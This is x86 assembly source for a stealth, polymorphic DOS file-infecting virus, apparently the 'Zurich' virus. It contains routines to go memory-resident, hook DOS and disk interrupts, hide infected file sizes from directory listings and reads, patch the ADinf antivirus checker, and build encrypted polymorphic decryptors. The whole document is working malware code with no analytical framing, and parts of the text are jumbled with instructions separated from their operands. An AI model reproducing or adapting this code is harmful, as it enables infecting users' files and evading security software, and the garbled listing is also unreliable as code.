push word ptr es:find_buf_pname[bx] pop ds:[di] inc di inc bx CYCLE LU TROJANFILETIME = (6 shl 11d) or (6 shl 5) or (6 shr 1) cmp es:[(bx-0Dh).find_buf_time], TROJANFILETIME ;DOIF E ;int 2bh ;DONE je added_to_turn test jnz
es:[(bx-0Dh).find_buf_attr], 10h ;directory ? no_added_to_turn
; call and jnz ;execut ; ; ;
lea call jz
RND_GET_BYTE ax, 0dh no_added_to_turn
dx, StealthName get_crc_just_fname no_added_to_turn
;-+--added to turn-------------------------------------------------------+;ds:dx -> InfectTurn added_to_turn: lea si, StealthName lea di, InfectTurn push es movseg es, ss mov cx, 40h rep movsw pop es ;int 2bh ; cmp
es:[(bx-0Dh).find_buf_time], TROJANFILETIME
; DOIF Z ; call InfectName ; DONE pblabel no_added_to_turn ;#
;ZFlag
mov ax, es:[(bx-0Dh).find_buf_size_l] ;really not need, call test_size ;ZF=0 - no infected file ;speed optimization jnz @retn ; pblabel stlts_find_name ;extention test ? lea dx, StealthName mov si, bx IfInfJump Name ;R/o mode ? mov word ptr es:find_buf_size_l[si-0Dh], ax mov word ptr es:find_buf_size_h[si-0Dh], dx jmp dosclose ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+bfr_4E: movseg es, cs mov si, dx lea di, StealthName mov ah, 60h jmp doscall ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+bfr_3D: test al, 3 DOIF NZ ;W/O R/W call Doctor_Name MASKA , xxxxxx10 ;R/W al $?ret: ret DONE
;comment # ;*************************ADINFUCK****************************************** call get_crc_just_fname cmp_ax_CRC32w <'A', '-', 'D', 'i', 'n'> jne $?ret mov si, cs:[save_SP] mov ax, word ptr ds:[si][4] add ah, 0Eh mov ds, ax xor si, si
DO mov di, 8 call Calculate_CRC cmp_ax_CRC32w <74h, 0Ah, 0C4h, 5Eh, 0E2h, 26h, 81h, 0Fh> lodsw PASS NE xor al, ah DOIF E mov ax, ds:[si-12] ;=1547 for {386}, =1557 for {86} add ax, offset adinf386_fuck-1547h mov byte ptr ds:[si-8], 3Dh ;fuck 3byte mov byte ptr ds:[si-5], 9Ah mov word ptr [si-4], ax mov word ptr [si-2], cs DO call Calculate_CRC5 cmp_ax_CRC32w <0Ah, 0Bh, 0C0h, 74h, 3> DOIF E xor byte ptr ds:[si-4], 0Bh xor 4 ; or ax,ax ret DONE sub si, 6 ;backward search CYCLE NZ DONE sub si, 9 ;forward search CYCLE NS ;<8000h ret ;-+-[ fucking adinf 9.xx and 10.xx ]---------------------------------------+;new file size in (ax:dx){86} or eax{386} ;old file size in es:[bx.15h] ;-+------------------------------------------------------------------------+MINVIRSIZE equ 6000d MAXVIRSIZE equ 16000d adinf386_fuck proc far push ax ; 1 sub ax, es:[bx+15h] ; 4 les bx, [bp][-001Eh] ; 3 cmp ax, MINVIRSIZE ; 3 ja continue_fuck_1f_386 ; 2 pop ax ; 1 end_fuck_1f_386: ret ; 1 ;-+------------------------------------------------------------------------+org adinf386_fuck+10h ;-+------------------------------------------------------------------------+adinf_fuck proc far xchg ax, dx ; 1 call adinf386_fuck ; 3 xchg ax, dx ; 1 ret ; 1 adinf_fuck endp ;-+------------------------------------------------------------------------+continue_fuck_1f_386: cmp ax, MAXVIRSIZE ; 3 pop ax ; 1 jb end_fuck_1f_386 ; 2 or word ptr es:[bx],808h ; 5 ;old command ret ; 1 adinf386_fuck endp ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+aft_6C:
and cx, cx ;file opened DOIF Z aft_3D: xchg bx, ax IfInfJump Handle ;patch SFT size call get_sft mov byte ptr es:[di.sf_name], 0 mov word ptr es:[di.sf_size.hi], dx mov word ptr es:[di.sf_size.lo], ax DONE ret ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+bfr_3F: ;ret call get_sft test byte ptr es:[di.sf_mode], 3 GOIN NZ cmp word ptr es:[di.sf_position.hi], 0 GOIN NZ mov ax, word ptr es:[di.sf_position.lo] mov [beg_pos_lo], ax cmp ax, 18h DOIF AE call noff DONE IfInfJump Handle call save_seek ;if (cx > f_real_size-pos) cx := f_real_size-pos sub ax, [saved_seek.lo] sbb dx, [saved_seek.hi] DOIF Z MIN , ax ;_CX DONE ret ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+aft_3F: ;ret mov word ptr [st_rd_off], dx mov si, ds ;si:di - buffer mov cx, 1Ch sub cx, [beg_pos_lo] MIN cx, ax ;ax - delta pos mov word ptr [rd_st_cnt],cx IfInfJump Handle ;-+------------------------------------------------------------------------+call get_sft ;dx:ax - original size, inc byte ptr es:[di.sf_size.1] ;add 100h push si call restore_header dec byte ptr es:[di.sf_size.1] ;sub 100h pop es ; DOIF NC ; mov es, si ;es:di mov cx, [rd_st_cnt] mov di, [st_rd_off] lea si, [vir_heap._exehdr] add si, [beg_pos_lo] rep movsb ; DONE ret ;-+------------------------------------------------------------------------+-
;-+------------------------------------------------------------------------+bfr_42: cmp al, 2 ;seek_end DOIF E call seek_end call Stealth_Seek ;seek to fake end dec cs:[st_ax] ; mov ax, 4201h DONE retn ;-+------------------------------------------------------------------------+pblabel Stealth_Seek ;dx:ax => cx:dx ifInfJump Handle mov cx, dx xchg dx, ax jmp dosseek ;-+------------------------------------------------------------------------+;comment # ;-+------------------------------------------------------------------------+bfr_4B: ;show block ; cmp al, 0DBh ; je goto_EXE mov [load_fname], dx mov [load_array], bx push ax call show_block pop ax test al, 1 ;if 4b01(3) need after DOIF Z pblabel noff mov byte ptr cs:retu, opJMPS ;continue21-retu-1 DONE retn ;-+------------------------------------------------------------------------+pblabel selector21 movseg ds, cs movseg es, cs mov al, ah add al, al ;hach xor al, ah mov di, 8 mov word ptr ds:[(di-8)+arena_owner], di ;cs lea di, functions mov cx, funcnt repne scasb jnz noff lea si, bfr_aft shl cx, 2 sub si, cx lodsw rol ax, cl xor ax, si mov [after_goto], ax ;bfr lodsw ror ax, cl add ax, si mov word ptr [after_dos_goto], ax ;aft ret ;-+------------------------------------------------------------------------+bfr_4A: bfr_48:
; ; ; ;
cmp al, 36h ;for 'Lingvo' compatible mov al, 0 DOIF NE mov byte ptr cs:[dos_cf], 0 ;al DONE
;-+------------------------------------------------------------------------+bfr_67: pblabel show_block ;ret ;int 2bh call find_mcb DOIF NE ;si=0 mov cx, ds sub bx, cx mov ax, ds:[si.arena_size] sub ax, bx mov cs:[si.arena_size], ax dec bx mov ds:[si.arena_size], bx mov al, byte ptr ds:[si.arena_signature] mov byte ptr ds:[si.arena_signature], 'M' mov byte ptr cs:[si.arena_signature], al DONE ret ;-+------------------------------------------------------------------------+aft_4B: mov dx, [load_fname] call loadprog ;-+--hide_block------------------------------------------------------------+aft_48: aft_67: aft_4A: ;ret ;int 2bh pblabel hide_block call find_mcb DOIF E mov ax, cs:[si.arena_size] inc ax add ds:[si.arena_size], ax mov al, byte ptr cs:[si.arena_signature] mov byte ptr ds:[si.arena_signature], al DONE ret ;CRPROC find_mcb, 227Dh ;return ds pblabel find_mcb sub si, si mov ah, 52h call DosCall ;es:[bx][2] - root mcb mov ax, es:[bx][-2] mov bx, cs DO mov ds, ax add ax, word ptr ds:[si.arena_size] inc ax cmp ax, bx CYCLE B ret ;endp ;-+------------------------------------------------------------------------+-
pblabel loadprog ifInfJump Name ; ;
mov si, word ptr [exehdr.exe_CS] mov di, word ptr [exehdr.exe_SS] push word ptr [exehdr.exe_CS] push word ptr [exehdr.exe_SS] push es call restore_header call dosclose pop es pop di si mov bx, [load_array] sub si, word ptr [exehdr.exe_CS] sub di, word ptr [exehdr.exe_SS] sub word ptr es:Exec1_CS[bx], si sub word ptr es:Exec1_SS[bx], di mov si, word ptr [exehdr.exe_IP] mov di, word ptr [exehdr.exe_SP] mov word ptr es:Exec1_IP[bx], si mov word ptr es:Exec1_SP[bx], di @ret: ret ;loadprog endp ;-+------------------------------------------------------------------------+-
bfr_4C: bfr_00: IF @Cpu AND 1 ;x86 push offset noff ELSE ;8086 lea ax, noff ;call aft_49 push ax ;jmp noff ;ret ENDIF bfr_31: aft_31: aft_49: ;ret ;time_test ; call get_cur_time ; sub ax, [last_infect_time] ; cmp ax, INTERVAL_INFECT ;0.5 ¬; jl @ret call no_freq_proc mov mov int cmp jne
cs:arena_owner, 8 ax, 1600h ;test for MS win 2Fh ax, 1600h @ret
mov call push mov mov call mov call push mov mov
ax, 5802h DosCall ax bx, 1 ax, 5803h DosCall ax, 5800h DosCall ax bl, 82h ;high UMB use ax, 5801h
; ; ; ; ;
call DosCall mov ah, 48h mov bx, all_memory_size_p-1 call DosCall DOIF NC sub di, di dec ax mov es, ax mov bx, cs cmp ax, bx DOIF B mov es:[di.arena_owner], di DOELSE mov cs:[di.arena_owner], di lds si, dword ptr cs:offset25 mov word ptr ds:[si+3], es ; call DONE
; DONE mov pop call mov pop jmp
virus_move
ax, 5801h ;restore bx DosCall ax, 5803h ;restore bx DosCall
;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+pblabel save_seek push ax cx dx call Dostell ;dx:ax - cur pos mov [saved_seek.lo], ax mov [saved_seek.hi], dx pop dx cx ax ret ;save_seek endp ;-+------------------------------------------------------------------------+pblabel restore_header ;dx:ax - original size ;int 2bh push ax dx call save_seek call crypt_exe_header pop call lea mov call call
cx dx DosSeek ;seek dx, [heap] ;[exehdr.exe_len_mod_512] cx, 16h DosRead heap+16h
lea lea mov rep
si, [heap] di, [vir_heap._exehdr.exe_len_mod_512] cx, 16h/2 movsw
pblabel restore_seek mov dx, [saved_seek.lo] mov cx, [saved_seek.hi] jmp dosseek ;restore_seek endp
;restore_header endp ;**************************************************************************** pblabel p1 lds si, dword ptr [save_sp] lds si, dword ptr ds:[si+2] mov di, 0ch push si call calculate_crc pop si cmp_ax_CRC32w <6h, 1Eh, 55h, 57h, 56h, 52h, 51h, 53h, 50h, 8Ch, 0D8h, 2Eh> JE tunnel_detect cmp_ax_CRC32w <6h, 1Eh, 55h, 57h, 56h, 52h, 51h, 53h, 50h, 8Bh, 0ECh, 0E8h> jne __retn tunnel_detect: ;íâ® ¢ë¯®«-ï¥âáï ⮫쪮 ¯à¨ ¯¥à¢®© ãáâ -®¢ª¥ ¢¨àãá ¢ ¯ ¬ïâì movseg es, ss mov cx, 11d lea di, continue21 rep movsb sto_byte opJMPFAR mov ax, 1600h ;â¥áâ - *®àâ®çª¨ int 2Fh cmp ax, 1600h jne __retn mov ax, 3305h ;if BOOT-drive A: or B: int 21h sub dl, 3 jc __retn push ds ;DS:SI - end of tunnel, (so21+TUNNELSIZE) ;--------------------------------------------------------------;test for popup program mov di, 2 mov ds, di mov ax, word ptr ds:[(08h*4+2)+(di-2*11h)] cmp ax, word ptr ds:[(13h*4+2)+(di-2*11h)] PASS NE cmp ax, word ptr ds:[(28h*4+2)+(di-2*11h)] DOIF E no_stay_resident: pop ds __retn: ret DONE ;--------------------------------------------------------------mov ah, 2Fh int 21h ;get DTA push es bx movseg ds, cs lea dx, [vir_heap._exehdr] mov ah, 1Ah int 21h ;set DTA call get_own_name ;ds:dx -curname mov ah, 4Eh int 21h ;find first pop dx ds mov ah, 1Ah int 21h ;set DTA mov ah, 2Ah int 21h ;get system date
xor and jz
dx, [exehdr.find_buf_date] dx, 18h ;week only no_stay_resident
mov int
ah, 51h 21h
mov es, bx ;es- current PSP dec bx mov ds, bx ;ds- current MCB mov bx, ds:[arena_size] ;ds- size of current block sub bh, (all_memory_size_p shr 8) mov ah, 4Ah int 21h ; increate current block size mov ah, 48h mov bx, all_memory_size_p-1 int 21h ; allocate memory for virus jc no_stay_resident ;cannot allocate memory for virus cmp word ptr es:[0], 20CDh DOIF E sub byte ptr es:[PDB_block_len+1], (all_memory_size_p shr 8)+1 DONE dec ax pop es ;o21 ;so21 -> es:di ;si=o21+0Ch lea di, [si-11d] ;[si-TUNNELSIZE] xchg dx, ax ;ax - future virii segment ;get so25 (ds:si) mov si, 8 mov ds, si lds si, ds:[si][25h*4][-88h] ;so25 -> cs:[offset25] ;int 2bh mov cs:[offset25.lo], si ;ds:si = so25 mov cs:[offset25.hi], ds ; ;store (2Eh, 0FFh, 1Eh, o21+7, 0C7h, 6, o25, s25) -> [so21] ;write TUNNEL sto_byte 2Eh sto_two_byte 0FFh, 1Eh lea ax, [di-3+5] mov [hook], ax inc ax inc ax stosw sto_two_byte 0C7h, 6 sto_word_ si ;o25 sto_word_ ds ;s25 ;move5 [so25] -> ss:(cs:)five_bytes lea di, [vir_heap._five_bytes] movseg es, ss movs5 ;store (0EAh, memory_virentry, AX) -> [so25] movseg es, ds ;s25 lea di, [si-5] sto_byte opJMPFAR sto_word_ xchg dx, ax ;ax - future virii segment stosw mov es, ax ;es - future virii segment ;----move virus to new location------------------------------------------+;----setup incubator-----------------------------------------------------+call get_cur_time add ax, INCUB_TIME
mov cs:[last_infect_time], ax pblabel virus_move mov di, VIRUSSTACKSIZE mov si, di lea cx, [heap] ;virus_size segcs rep movsb ; $BEEP$ no_stay: ret ;**************************************************************************** ;**************************************************************************** pblabel trace_cpm mov cx, 1919h push cs push sp ;fake push cx ;for enable trace flag push 0Ch ; ;PUSH 0 1 b push 0 ;push 0 ;PUSH C0h b0 10 ;pblabel ent24 ; mov al, 3 iret ;execute CP/M command ;**************************************************************************** ;**************************************************************************** pblabel tmp1 mov cs:[vir_heap._after_goto], offset p1 call user_proc iret ;**************************************************************************** ;**************************************************************************** pblabel call_real_25 pushf push es di si les di, dword ptr cs:[offset25] lea si, [vir_heap._five_bytes] cld SEGCS movsw SEGCS movsw SEGCS movsb pop si di es popf mov cs:[vir_heap._abs_read_drive], al db 09Ah ;call [RealInt25h] pblabel offset25 dd ? pushf push es di ax les di, dword ptr cs:offset25 cld mov al, opJMPFAR ;jmp far stosb lea ax, memory_virentry ;stealth_abs_read stosw mov ax, cs stosw pop ax di es popf ret ;**************************************************************************** ;****************************************************************************
pblabel memory_virentry pop cs:[ret_sux] push cs:[ret_sux] push ax mov ax, cs:[vir_heap._hook] cmp ax, cs:[ret_sux] pop ax DOIF NE ;"25" call call_real_25 DOIF NC mov cs:[vir_heap._after_goto], offset st25 ;-bfr_base call user_proc DONE ;*encrypt memory************************************************************* retf ;sssuxx db ? DONE pop dword ptr cs:[ret_hook] add cs:[ret_hook.lo], 6 ; mov cs:[sssuxx], ah ; cmp ah, 4Fh ; DOIF E ; int 2bh ; DONE cmp ah, 51h ;reENTER virus, need for DRDOS DOIF E continue21_1: jmp continue21 DONE mov cs:[vir_heap._after_goto], offset selector21 mov byte ptr cs:[retu], opCMP_ALimm ;retu_off-retu-1 call user_proc ;selector; write new after_goto mov byte ptr cs:[dos_cf], r2-r1 call user_proc ;before DOS of double selector pblabel retu jmp SHORT continue21_1 ; jmp continue21 ;*encrypt memory************************************************************* ;**************************************************************************** ;**************************************************************************** ;pblabel retu_off call DosCall ;DOS db opSEGCS, 0C7h, 06h dw vir_heap._after_goto pblabel after_dos_goto dw UNINIT db 72h ;jc pblabel dos_cf db r2-r1 pblabel r1 call user_proc ;after DOS pblabel r2 sti ;!!!!!!!!! ;*encrypt memory************************************************************* retf 2 ;**************************************************************************** ;**************************************************************************** pblabel DosTruncate sub cx, cx pblabel doswrite_from_heap lea dx, [heap] ;from heap
jmp doswrite ;-+------------------------------------------------------------------------+pblabel DosWrite_shbuf_22 mov cx, HDRBUFSIZE pblabel DosWrite_shbuf lea dx, [vir_heap._ziphdr] pblabel DosWrite mov ah, 40h jmp DosCall_exc ;-+------------------------------------------------------------------------+pblabel read_buf_22 mov cx, HDRBUFSIZE pblabel read_buf_cx lea dx, [vir_heap._shift_buffer] pblabel dosread mov ah, 3Fh pblabel DosCall_exc call DosCall jnc $$ret ;®¡à ¡®âª ®è¨¡®ª „Ž‘ (?) ;int 2bh ; cmp [close_on_error], 3eh ;3e-no close ; DOIF NE ; call dosclose ; DONE jmp rt_err ; ¢®ááâ -®¢¨âì SP ¨ ¢¥à-ãâìáï ¢ userproc ;-+------------------------------------------------------------------------+pblabel dosclose mov ah, 3Eh ; mov [close_on_error], ah jmp DosCall_exc ;**************************************************************************** ;**************************************************************************** pblabel dostell xor dx, dx pblabel dosseek_cur_cx_0 xor cx, cx jmp dosseek_cur ;-+------------------------------------------------------------------------+pblabel dosseek_cur_neg_ax xchg dx, ax pblabel dosseek_cur_neg_dx neg dx jns dosseek_cur_cx_0 ; if dx > 0 ;-+------------------------------------------------------------------------+pblabel dosseek_cur_cx_1 mov cx, -1 pblabel dosseek_cur mov al, 01h jmp DosSeek_all ;-+------------------------------------------------------------------------+pblabel dosseek_bof sub dx, dx pblabel dosseek_cx_0 sub cx, cx pblabel dosseek mov al, 00h pblabel DosSeek_all mov ah, 42h pblabel DosCall pushf
push cs call continue21 $$ret: ret pblabel seek_end mov al, 02h ;seek_end xor dx, dx xor cx, cx jmp DosSeek_all ;dx:ax - filesize ;**************************************************************************** ;**************************************************************************** pblabel calc_hdr_pages mov cx, 200h ; dx:ax - new size and dx, 0fh div cx mov [exehdr.exe_len_mod_512], dx ;ostatok add dx, -1 ;dec dx ? adc ax, 0 mov [exehdr.exe_pages], ax ret ;**************************************************************************** ends end virus_entry include zurich.asi code segment byte public assume cs:code, ds:code, es:code, ss:code extrn offset25 :dword extrn call_real_25 :near extrn restore_header :near extrn stealthname :near extrn test_size :near extrn doscall :near extrn get_sft :near extrn dosread :near extrn heap :near extrn dosclose :near extrn vir_heap :near ;-+------------------------------------------------------------------------+;-+-[ stealth 25 ]---------------------------------------------------------+;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+; dir entry stealth ; DS:SI = @dir_size_h ;-+------------------------------------------------------------------------+pblabel Stealth_Abs ifInfJump Buf mov ds:[si+(dir_size_l-dir_size_h)],ax ;stealth patch size in dir entry mov ds:[si+(dir_size_h-dir_size_h)],dx ret ;-+------------------------------------------------------------------------+; exe header int25 stealth ? ;-+------------------------------------------------------------------------+pblabel Stealth_Abs_r ifInfJump Buf push ds MOVSEG ds, ss push ax dx ;real file size lea dx, file_for_fake_open mov ax, 3D40h ;open readonly
call DosCall xchg bx, ax ; DPB offset in AX pop dx ax DOIF NC push bx ;handle call get_sft ; mov es:[di.sf_position.lo], ax ; mov es:[di.sf_position.hi], dx push ax dx ;file size inc ah mov es:[di.sf_size.lo], ax mov es:[di.sf_size.hi], dx mov dl, [abs_read_drive] ;<<<<< gluk and byte ptr es:[di+5], 11100000b add byte ptr es:[di+5], dl inc dx ;future: flop no stealth ? (to slow) mov ah, 32h call DosCall mov es:[di.sf_devptr.lo], bx mov es:[di.sf_devptr.hi], ds xor cx, cx mov dx, [start_sec.hi] mov ax, [start_sec.lo] sub ax, ds:dpb_first_sector[bx] sbb dx, cx mov cl, ds:dpb_cluster_mask[bx] inc cx div cx and dx, dx ;if DX != 0 - error DOIF Z inc ax inc ax mov es:[di.sf_firclus], ax mov word ptr es:[di+35h], ax DONE pop dx ax ;file size pop bx push si call restore_header pop di scasw ;add di,2 pop es push es lea si, [heap] mov cx, 16h/2 rep movsw call dosclose DONE pop ds ret file_for_fake_open equ StealthName ;-+------------------------------------------------------------------------+; test after absolute read for exe-header & dir entry ;-+------------------------------------------------------------------------+pblabel st25 mov si, bx xor ax, ax ;AbsDisk_start_sect.hi cmp cx, -1 ;(inc cx, jz)? DOIF E mov dx, ds:[bx.AbsDisk_start_sect.lo] mov ax, ds:[bx.AbsDisk_start_sect.hi] lds si, ds:[bx.AbsDisk_buffer] DONE ;here, DS:SI - read buffer
mov [start_sec.hi], ax mov [start_sec.lo], dx push si lea di, [vir_heap._exehdr] MOVSEG es, cs mov cx, HDRBUFSIZE/2 rep movsw pop si call Stealth_Abs_r DO lodsb ;1 cmp al, 0 DOIF Z end_search: ret DONE mov cx, 10d DO lodsb ;0B cmp al, ' ' jb end_search ;no_dir_entry CYCLE LU lodsb ;attr of file ;15 mov cx, 10d DO lodsb ;16 cmp al, 0 ;unused, must be zero jnz end_search ;no_dir_entry CYCLE LU add si, 6 lodsw ;dir_size_l call test_size DOIF Z mov dl, [abs_read_drive] ; = $-1 inc dx ;future: flop no stealth ? (to slow) push ds mov ah, 32h call DosCall mov cl, ds:dpb_cluster_mask[bx] mov ch, 0 inc cx mov bx, ds:dpb_first_sector[bx] pop ds mov ax, ds:(dir_first-dir_size_h)[si] dec ax dec ax cwd mul cx add ax, bx adc dx, 0 ;dx:ax-first sector push ds MOVSEG ds, cs lea bx, [heap] mov word ptr [bx.AbsDisk_start_sect.lo], ax mov word ptr [bx.AbsDisk_start_sect.hi], dx mov word ptr [bx.AbsDisk_sect_num], 1 mov word ptr [bx.AbsDisk_buffer.lo], bx mov word ptr [bx.AbsDisk_buffer.hi], ds mov al, [abs_read_drive] mov cx, -1 call call_real_25 push si mov cx, HDRBUFSIZE/2 lea si, [heap]
lea movseg rep pop pop call
di, [vir_heap._exehdr] es, cs movsw si ds Stealth_Abs
DONE lodsw CYCLE ;-+------------------------------------------------------------------------+ends end code segment byte public assume cs:code, ds:code, es:code, ss:code INCLUDE ZURICH.ASI extrn extrn extrn extrn extrn extrn extrn extrn extrn
dataencriptor start_data _____ heap vir_heap get_cur_time RANDOMIZE dosseek_bof read_buf_22
:near :near :byte :near :near :near :near :near :near
.LALL pblabel crypt_exe_header ;int 2bh ; push ax dx ; call dosseek_bof ; call read_buf_22 ; pop dx ax mov si, [exehdr.exe_par_dir] shl si, 4 sub ax, si sbb dx, 0 pblabel crypt_exe_header_custom movseg ds, ss movseg es, ss ;int 2bh ; movseg ds, cs call RANDOMIZE lea si, [vir_heap._exehdr.exe_len_mod_512] lea di, [heap] mov cx, exe_rle_table-exe_len_mod_512 ;14h mov [engdata.zmefl], zmeflHDR jmp ZME_crypt_custom ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel ZME_crypt cld mov [engdata.zmefl], ax mov [_____], al call RND_INIT call get_cur_time mov [last_infect_time], ax mov si, VIRUSSTACKSIZE mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size pblabel ZME_crypt_custom
mov [engdata.datasize], cx mov [engdata.targetptr], di rep movsb ;copy data ;< set next version probabilitys [di-virs-VIRUSSTACKSIZE+prEXE]
mov [engdata.jmp_after_decrypt], 0 test [engdata.cur_cryptlevel], 80h jz ZME_crypt_ call ZME_crypt_ ;;;double crypt mov di, [engdata.targetptr] mov [engdata.jmp_after_decrypt], ax ; mov [engdata.datasize], cx add di, cx pblabel ZME_crypt_ push bx test [engdata.zmeflags], MASK EN_BFR_GARBL DOIF NZ call RND_GET_BYTE inc ah add [engdata.datasize], ax call shit_ax DONE ;----------------------------------------------------------------------------; ZME_INIT lea mov DO
si, [vir_heap._engdata.cJMP_patch] cx, reg6- segm_IDT ; clear the work area with 0's
mov [si],ch ; inc si ; CYCLE LU pblabel bad_reg DO call RND_GET_THREE_BITS or al,010b ;AL := R_DX, R_BX, R_SI, R_DI cmp al,R_DX CYCLE E ; not R_DX lea bx, [vir_heap._engdata.reg0] mov cx, 7 jmp SHORT ffound DO DO lea si, [vir_heap._engdata.reg0-1] call RND_GET_THREE_BITS pblabel fill_registers inc si cmp si,bx EXIT E cmp al,R_SP REPEAT E cmp al,[si] jne fill_registers CYCLE pblabel ffound mov [bx],al inc bx CYCLE LU call mov
RND_GET_BYTE ; X < decriptor_data + initialIP [engdata.value_X],ax ; or X > decriptor_data+initialIP+datasize+2
call
RND_GET_BYTE
; Y < decriptor_data + initialIP - X
mov
[engdata.value_Y],ax ; or Y > decriptor_data+initialIP+datasize+2-X
mov sub mov DOIF A DO
cx, [engdata.datasize] cx, 20h ax, 3
call RND_GET cmp ax, cx CYCLE A or al,101b DONE mov
[engdata.value_J], ax
;value_J := 1..datasize-0E
;----------------------------------------------------------------mov ax, di sub ax, [engdata.targetptr] push ax ; cmp byte ptr [engdata.zmefl+1], (zmeflOBJ shr 8) and 0FFh ; DOIF E ; lea si, PMtest ; mov cx, 0Fh ; rep movsb ; DONE ;IRP foo, <50,B8,86,16,CD,2F,58,75,06,5F,55,8B,EC,FF,E7> ;sto_byte 0&foo&h ;ENDM ;store test for PM ;mov ax,1600 (1686) ;int 2f ;cmp ax,1600 ;je real ;pop di ;push bp ;mov bp,sp ;jmp di ;real:
; 0B8h, 86h, 16h, 0CDh, 2Fh, 75,
test [engdata.zmeflags], MASK EN_SAVE_REGS DOIF NZ IFDEF USE_PUSHA sto_byte opPUSHA ELSE mov cx, 7 lea si, [vir_heap._engdata.reg0] DO lodsb add al, opPUSH_AX stosb CYCLE LU ENDIF DONE mov lea DO
[engdata.useregs], REG_GARBL_ALL si, [di+4] push mov call pop cmp
si ax, 0Bh*2 force_not_branch_garble si si, di
CYCLE A mov cl, [engdata.zmeflags] IF EN_BFR_GARBL shr cl, EN_BFR_GARBL ENDIF and cx, MASK EN_BFR_GARBL DOIF NZ push cx call garble_more_reg_all call encode_int21 pop cx CYCLE LU ;**************************************************************************** ;**************************************************************************** ;**************************************************************************** ;**************************************************************************** ; ENCODE_CRYPT_ROUTINE ;**************************************************************************** mov [engdata.useregs], REG_GARBL_ALL ; mov [engdata.begin_sub], 0 ;DON'T ENCODE CALL BACKWARD INTO DECRYPTOR lea si, [dataencriptor] mov cx, CRYPTLEVEL*4 DO mov byte ptr [si], opNOP inc si CYCLE LU mov byte ptr [si], opRETN call garble_more test [engdata.zmeflags], MASK EN_RELOCATOR DOIF NZ ; encode relocator sto_byte opCALL call RND_GET_THREE_BITS inc ax stosw mov [engdata.relocator_base], di call SHIT_AX call garble_more mov al, [engdata.reg0] add al, opPOP_AX ;pop r0 stosb call garble_more call encode_reloc_patch mov [engdata.reloff_1], di stosw call encode_reloc_patch mov [engdata.reloff_2], di stosw DONE call garble_more mov cl, [engdata.reg0] call encode_zero_reg ;encode MOV IDX ,0 call garble_more mov cl, [engdata.reg2] ;encode MOV TMP1, some call encode_mov mov [engdata.start_reg2], di stosw call garble_more mov cl, [engdata.reg3] ;encode MOV TMP2, some call encode_mov mov [engdata.start_reg3], di stosw call garble_more mov [engdata.loop_top], di ;loop peak
call mov call call mov call mov neg push mov call mov and DO
garble_more ax, [engdata.value_X] encode_add garble_more cl, 4 ; 87 or 8B encode_reg_mem ax, [engdata.value_X] ax ax ;-(X+1) bx, [engdata.reloff_1] encode_mem_access cl, [engdata.cur_cryptlevel] cx, 7Fh ;mask ?
push cx mov [engdata.useregs], REG_ENC_ALL call encode_one_crypt mov [engdata.useregs], REG_GARBL_ALL pop cx cmp cl, 5 DOIF E call garble_more mov ax, [engdata.value_Y] call encode_add DONE CYCLE LU mov [engdata.useregs], REG_GARBL_ALL mov cl, 2 ; 87 or 89 call encode_reg_mem pop ax ;-(X+1) sub ax, [engdata.value_Y] push ax ;-(X+Y)
;SET USED 1..3 ;SET USED 4..6
;SET USED 4..6
mov bx, [engdata.reloff_2] call encode_mem_access pop ax ;-(X+Y) sub ax, [engdata.value_J] ;-(J+X+Y) call encode_add ;*************************************************************************** ; encoding GOTO loop_top ;*************************************************************************** mov [engdata.useregs], REG_GARBL_ALL or MASK REG_ENC ; mov al, opJC ;encode JC ; call do_cond_jmp ;JC call many_nonbranch_garble ;Shit mov ax, [engdata.datasize] ; dec ax ; call encode_add ;ADD INDEX,value_J call finish_cJMP mov al, opJZ ;encode JZ ;JZ call do_cond_jmp ; call many_nonbranch_garble ;Shit ;**************************************************************;************* ; ENCODE JMP NEAR Loop_Top ; ;**************************************************************;************* call encode_jmp_near mov ax, [engdata.loop_top] xor bx, bx xchg bx, [engdata.nJMP_patch] add [bx], ax ;**************************************************************;************* mov [engdata.useregs], REG_ALL ;;SET USED 0..6 call finish_cJMP
call garble_more ; ;*ÂÂÂ*ÂÂ*Â***********Â******************************************************¿ ;*ÅÁÅÂÁÅ*Å***********Å******************************************************´ ;*Á*ÁÁ*Á*Á***********Á******************************************************Ù ;--------------------------------------------------------------------------;sto_two_byte 0cdh, 2Bh test [engdata.zmeflags], MASK EN_SAVE_REGS DOIF NZ IFDEF USE_PUSHA sto_byte opPOPA ELSE mov cx, 7 lea si, [vir_heap._engdata.reg6] DO std lodsb add al, opPOP_AX cld stosb CYCLE LU ENDIF DONE test [engdata.zmeflags], MASK EN_USE_JMPS DOIF Z sto_byte opRETN DONE call encode_jmp_near mov ax, [engdata.targetptr] add ax, [engdata.jmp_after_decrypt] mov bx, [engdata.nJMP_patch] add [bx], ax ;crypt data ;*ÅÅ**********************************************************************ÅÅ* ;*ÅÁ**********************************************************************ÅÅ* ;*Á**************************Á****************************---------push di mov di, [engdata.targetptr] mov si, [engdata.datasize] dec si xor bx, bx call RND_GET xchg ax, cx call RND_GET xchg ax, dx DO add bx, [engdata.value_J] sub bx, si DOIF C add bx, si DONE mov ax, [di][bx] call dataencriptor ;call encryptor mov [di][bx], ax and bx, bx CYCLE NZ mov si, [engdata.start_reg2] mov word ptr [si], cx mov si, [engdata.start_reg3] mov word ptr [si], dx pop di
